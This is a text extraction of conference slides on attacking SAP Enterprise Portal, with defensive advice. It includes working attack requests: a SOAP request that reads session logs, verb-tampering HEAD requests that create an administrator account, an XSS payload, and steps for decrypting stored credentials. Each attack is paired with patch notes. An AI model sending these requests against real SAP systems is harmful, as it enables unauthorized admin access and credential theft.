breaking sap portal (hashdays)
TRANSCRIPT
Invest in security to secure investments
Breaking SAP Portal
Alexander Polyakov CTO ERPScan
About ERPScan
• The only 360-‐degree SAP Security solu8on -‐ ERPScan Security Monitoring Suite for SAP
• Leader by the number of acknowledgements from SAP ( 150+ ) • 60+ presentaEons key security conferences worldwide • 25 Awards and nominaEons • Research team -‐ 20 experts with experience in different areas
of security • Headquarters in Palo Alto (US) and Amsterdam (EU)
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Agenda
• Say hello to SAP Portal • Breaking Portal through SAP Services • Breaking Portal through J2EE Engine • Breaking Portal through Portal issues • ERPScan SAP Pentes8ng Tool password decrypt module • Conclusion
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SAP
• The most popular business applica8on • More than 180000 customers worldwide • 74% of Forbes 500 run SAP
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Meet sapscan.com
hUp://erpscan.com/wp-‐content/uploads/2012/06/SAP-‐Security-‐in-‐figures-‐a-‐global-‐survey-‐2007-‐2011-‐final.pdf
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Say hello to Portal
• Point of web access to SAP systems • Point of web access to other corporate systems • Way for aUackers to get access to SAP from the Internet • ~17 Portals in Switzerland, according to Shodan • ~11 Portals in Switzerland, according to Google
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EP architecture
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Okay, okay. SAP Portal is important, and it has many links to other modules. So what?
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SAP Management Console
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SAP Management Console
• SAP MC provides a common framework for centralized system management
• Allowing to see the trace and log messages • Using JSESSIONID from logs, aUacker can log into Portal
What we can find into logs?
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Right! File userinterface.log contains calculated JSESIONID
But…aUacker must have creden8al for reading log file!
Wrong!
SAP Management Console
<?xml version="1.0"?> <SOAP-‐ENV:Envelope xmlns:SOAP-‐ENV="hUp://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="hUp://
www.w3.org/2001/XMLSchema-‐instance" xmlns:xs="hUp://www.w3.org/2001/XMLSchema"> <SOAP-‐ENV:Header> <sapsess:Session xmlns:sapsess="hUp://www.sap.com/webas/630/soap/features/session/"> <enableSession>true</enableSession> </sapsess:Session> </SOAP-‐ENV:Header> <SOAP-‐ENV:Body> <ns1:ReadLogFile xmlns:ns1="urn:SAPControl"> <filename>j2ee/cluster/server0/log/system/userinterface.log</filename> <filter/> <language/> <maxentries>%COUNT%</maxentries> <statecookie>EOF</statecookie> </ns1:ReadLogFile> </SOAP-‐ENV:Body> </SOAP-‐ENV:Envelope>
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PrevenEon
Don’t use TRACE_LEVEL = 3 in produc8on systems or delete traces
hUp://help.sap.com/saphelp_nwpi71/helpdata/en/d6/49543b1e49bc1fe10000000a114084/frameset.htm
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Single-‐Sign On
SSO (old but sEll works)
• SAP implements SSO using the Header Variable Login Module
creden8als
check
okay cookie
AUacker
header_auth
cookie
tnx Mariano ;)
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PrevenEon
• Implement proper network filters to avoid direct connec8ons to SAP • J2EE Engine. If you use it for Windows authen8ca8on, switch to SPNegoLoginModule
hUp://help.sap.com/saphelp_nw73ehp1/helpdata/en/d0/a3d940c2653126e10000000a1550b0/frameset.htm
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SAP NetWeaver J2EE
Access control
Web Dynpro -‐ programma8c Portal iViews -‐ programma8c J2EE Web apps -‐ declara8ve
ProgrammaEc By UME
DeclaraEve By WEB.XML
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DeclaraEve access control
• The central en8ty in the J2EE authoriza8on model is the security role.
• Programmers define the applica8on-‐specific roles in the J2EE deployment descriptor
web.xml web-‐j2ee-‐engine.xml
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Verb Tampering
web.xml
<servlet> <servlet-‐name>Cri8calAc8on</servlet-‐name> <servlet-‐class>com.sap.admin.Cri8cal.Ac8on</servlet-‐class> </servlet> <servlet-‐mapping> <servlet-‐name>Cri8calAc8on</</servlet-‐name> <url-‐paUern>/admin/cri8cal</url-‐paUern> </servlet-‐mapping <security-‐constraint> <web-‐resource-‐collec8on> <web-‐resource-‐name>Restrictedaccess</web-‐resource-‐name> <url-‐paUern>/admin/*</url-‐paUern> <hUp-‐method>GET</hUp-‐method> </web-‐resource-‐collec8on> <auth-‐constraint> <role-‐name>administrator</role-‐name> </auth-‐constraint> </security-‐constraint>
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Verb Tampering
• If we are trying to get access to an applica8on using GET – we need a login:pass and administrator role
• What if we try to get access to applica8on using HEAD instead GET?
• PROFIT!
• Did U know about ctc?
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Verb Tampering
Need Admin account in SAP Portal? Just send two HEAD requests
• Create new user blabla:blabla HEAD /ctc/ConfigServlet?param=com.sap.ctc.u8l.UserConfig;CREATEUSER;USERNAME=blabla,PASSWORD=blabla
• Add user blabla to group Administrators HEAD /ctc/ConfigServlet?param=com.sap.ctc.u8l.UserConfig;ADD_USER_TO_GROUP;USERNAME=blabla,GROUPNAME=Administrators
Works when UME uses JAVA database
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PrevenEon
• Install SAP notes 1503579,1616259 • Install other SAP notes about Verb Tampering • Scan applica8ons with ERPScan WEB.XML checker • Disable the applica8ons that are not necessary
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Invoker servlet
web.xml
<servlet> <servlet-‐name>Cri>calAc>on</servlet-‐name> <servlet-‐class>com.sap.admin.Cri>cal.Ac>on</servlet-‐class> </servlet> <servlet-‐mapping> <servlet-‐name>Cri>calAc>on</</servlet-‐name> <url-‐paBern>/admin/cri>cal</url-‐paBern> </servlet-‐mapping <security-‐constraint> <web-‐resource-‐collec>on> <web-‐resource-‐name>Restrictedaccess</web-‐resource-‐name> <url-‐paBern>/admin/*</url-‐paBern> <hBp-‐method>GET</hBp-‐method> <hBp-‐method>HEAD</hBp-‐method> </web-‐resource-‐collec>on> <auth-‐constraint> <role-‐name>administrator</role-‐name> </auth-‐constraint> </security-‐constraint>
GET /admin/cri8cal/Cri>calAc>on
GET /servlet/com.sap.admin.Cri8cal.Ac8on
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Invoker Servlet
• Want to execute an OS command on J2EE server remotely? • Maybe upload a backdoor in a Java class? • Or sniff all traffic ?
S8ll remember ctc?
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Invoker Servlet
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PrevenEon
• Update to the latest patch 1467771, 1445998 • “EnableInvokerServletGlobally” must be “false” • Check all WEB.XML files with ERPScan WEBXML checker
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So, where is Portal?
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SAP Portal
• User access rights to objects are in the Portal Content Directory (PCD)
• Based on ACL • 2 types of access:
– (design 8me) for administrators – (run8me) for users
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Portal Permission Levels
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End User permission
The objects where end user permission is enabled affect the following areas in Portal: – All Portal Catalog obj with end user permission – Authorized Portal users may access restricted Portal components by URL without an intermediate iView if they are granted permission in the appropriate security zone.
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Administrator permission
• Owner = full control + modify permissions • Full control = read/write + delete obj • Read/Write = read+write+edit proper8es+ add/rem child • Write (folders only) = create objects • Read = view obj+create instances
(delta links and copies) • None = access not granted
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Role Assigner permission
• The Role Assigner permission seyng is available for role objects • It allows you to determine which Portal users are permiUed to
assign other users, groups, or roles to the role principle using the Role Assignment tool
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Security Zones
• Security zones allow the system administrator to control which Portal components and Portal services a Portal user can launch
• A security zone specifies the vendor ID, the security area, and safety level for each Portal component and Portal service
• The security zone is defined in a Portal applica8on descriptor XML file • A Portal component or service can only belong to one security zone;
however, Portal components and services may share the same safety level • Zones allows the administrator to assign permissions to a safety level,
instead of assigning them directly to each Portal component or service
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Why? To group mul>ple iViews easily
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We can get access to Portal iViews using direct URL:
/irj/servlet/prt/portal/prtroot/<iView_ID>
And only Security Zone rights will be checked
Security Zones
• So, SecZones offer an extra, but op8onal, layer of code-‐level security to iViews – User-‐> check ”end user” permission to the role-‐> view iView – User-‐> check ”end user” permission to the role-‐> check ”end user” permission to the SecZone -‐> view iView
By default, this func8onality is disabled
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So I wonder how many Portal applica8ons with No\Low Safety
exist?
Safety Levels for Security Zone
• No Safety – Anonymous users are permiUed to access portal components defined in
the security zone. • Low Safety
– A user must be at least an authen8cated portal user to access portal components defined in the security zone.
• Medium Safety – A user must be assigned to a par8cular portal role that is authorized to
access portal components defined in the security zone • High Safety
– A user must be assigned to a portal role with higher administra8ve rights that is authorized to access portal components defined in the security zone.
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No safety zone
Many custom applica8ons with low security level zone
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PrevenEon
Check security zones permissions
• hUp://help.sap.com/saphelp_nw70/helpdata/en/25/85de55a94c4b5fa7a2d74e8ed201b0/frameset.htm • hUp://help.sap.com/saphelp_nw70/helpdata/en/f6/2604db05fd11d7b84200047582c9f7/frameset.htm
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SAP Portal
• Web based services • All OWASP TOP10 actual
– XSS – Phishing – Traversal – XXE – …
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EPCF
XSS
• Many XSSs in Portal
• But some8mes “hUponly” • But when we exploit XSS, we can use the features of SAP Portal
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<SCRIPT> alert(EPCM.loadClientData("urn:com.sap.myObjects", "person"); </SCRIPT>
EPCF
EPCF provides a JavaScript API designed for the client-‐side communica8on between portal components and the portal core framework
• Enterprise Portal Client Manager (EPCM) • iViews can access the EPCM object from every portal page
or IFrame • Every iView contains the EPCM object • For example, EPCF used for transient user data buffer for iViews
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PrevenEon
Install SAP note 1656549
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KM Phishing
SAP Knowledge Management may be used to create phishing pages
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49
FIX
Directory traversal
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Directory traversal fix bypass
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PrevenEon
Install SAP note 1630293
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Cut the Crap, Show Me the Hack
Breaking SAP Portal
• Found a file in the OS of SAP Portal with the encrypted passwords for administra8on and DB
• Found a file in the OS of SAP Portal with keys to decrypt passwords
• Found a vulnerability (another one ;)) which allows reading the files with passwords and keys
• Decrypt passwords and log into Portal • PROFIT!
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Read file
How we can read the file?
– Directory Traversal – OS Command execute – XML External En8ty (XXE)
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XXE in Portal
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XXE in Portal
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XXE
Error based XXE
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Breaking SAP Portal
• Ok, we can read files • Where are the passwords? • The SAP J2EE Engine stores the database user SAP<SID>DB; its
password is here: \usr\sap\<SID>\SYS\global\security\data\SecStore.proper>es
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Where are the passwords? (config.proper<es)
rdbms.maximum_connec8ons=5 system.name=TTT secstorefs.keyfile=/oracle/TTT/sapmnt/global/security/data/SecStore.key secstorefs.secfile=/oracle/TTT/sapmnt/global/security/data/
SecStore.proper8es secstorefs.lib=/oracle/TTTsapmnt/global/security/lib rdbms.driverLoca8on=/oracle/client/10x_64/instantclient/ojdbc14.jar rdbms.connec8on=jdbc/pool/TTT rdbms.ini8al_connec8ons=1
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Where are the passwords? (config.proper<es)
rdbms.maximum_connec8ons=5 system.name=TTT secstorefs.keyfile=/oracle/TTT/sapmnt/global/security/data/SecStore.key secstorefs.secfile=/oracle/TTT/sapmnt/global/security/data/SecStore.proper8es secstorefs.lib=/oracle/TTTsapmnt/global/security/lib rdbms.driverLoca8on=/oracle/client/10x_64/instantclient/ojdbc14.jar rdbms.connec8on=jdbc/pool/TTT rdbms.ini8al_connec8ons=1
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But where is the key?
SecStore.properEes
$internal/version=Ni4zFF4wMSeaseforCCMxegAfx admin/host/TTT=7KJuOPPs/+u+14jM7uy7cy7exrZuYvevkSrPxwueur2445yxgBS admin/password/TTT=7KJuOPPs/+uv+14j56vDc7M7v7dytbGbkgqDp
+QD04b0Fh jdbc/pool/TTT=7KJuOPPs/+u5jM6s1cvvgQ1gzFvarxuUzEJTHTJI0VGegH admin/port/TTT=7KJuOPPs/+u+1j4vD1cv6ZTvd336rzEd7267Rwr4ZUgRTQ $internal/check=BJRrz�eUA+bw4XCzdz16zX78u�t $internal/mode=encrypted admin/user/TTT=7KJuOPPs/+u+14j6s14sTxXU3ONl3rL6N7yssV75eC6/5S3E
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config.properEes
rdbms.maximum_connec8ons=5 system.name=TTT secstorefs.keyfile=/oracle/TTT/sapmnt/global/security/data/SecStore.key secstorefs.secfile=/oracle/TTT/sapmnt/global/security/data/SecStore.proper8es secstorefs.lib=/oracle/TTTsapmnt/global/security/lib rdbms.driverLoca8on=/oracle/client/10x_64/instantclient/ojdbc14.jar rdbms.connec8on=jdbc/pool/TTT rdbms.ini8al_connec8ons=1
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Get the password
• We have an encrypted password • We have a key to decrypt it
We got the J2EE admin and JDBC login:password!
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PrevenEon
• Install SAP note 1619539 • Restrict read access to files SecStore.properEes and SecStore.key
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Portal post exploitaEon
• Lot of links to other systems in corporate LAN • Using SSRF, aUackers can get access to these systems
What is SSRF?
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SSRF History: Basics
• We send Packet A to Service A • Service A ini8ates Packet B to service B • Services can be on the same or different hosts • We can manipulate some fields of packet B within packet A • Various SSRF aUacks depend on how many fields we can
control on packet B
Packet A
Packet B
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ParEal Remote SSRF: HTTP aeacks on other services
HTTP Server Corporate network
Direct aUack GET /vuln.jsp
SSRF AUack
SSRF AUack Get /vuln.jst
A B
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Gopher uri scheme
• Using gopher:// uri scheme, it is possible to send TCP packets – Exploit OS vulnerabili8es – Exploit old SAP applicaEon vulnerabiliEes – Bypass SAP security restric8ons – Exploit vulnerabili8es in local services
More info in our BH2012 presenta8on: SSRF vs. Business Cri>cal Applica>ons
hUp://erpscan.com/wp-‐content/uploads/2012/08/SSRF-‐vs-‐Businness-‐cri8cal-‐applica8ons-‐whitepaper.pdf
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Portal post-‐exploitaEon
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Conclusion
It is possible to protect yourself from these kinds of issues, and we are working close with SAP to keep customers secure
It’s all in your hands
SAP Guides Regular security assessments
ABAP code review
Monitoring technical security
SegregaEon of DuEes
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Future work
Many of the researched issues cannot be disclosed now because of our good rela>onship with SAP Security Response Team, whom I would like to thank for coopera>on. However, if you want to be the first to see new aBacks and demos, follow us at @erpscan and aBend future presenta>ons:
• November 9 – POC (Korea, Seoul) • November 20 – ZeroNights (Russia, Moscow) • November 29 – DeepSEC (Austria, Vienna)
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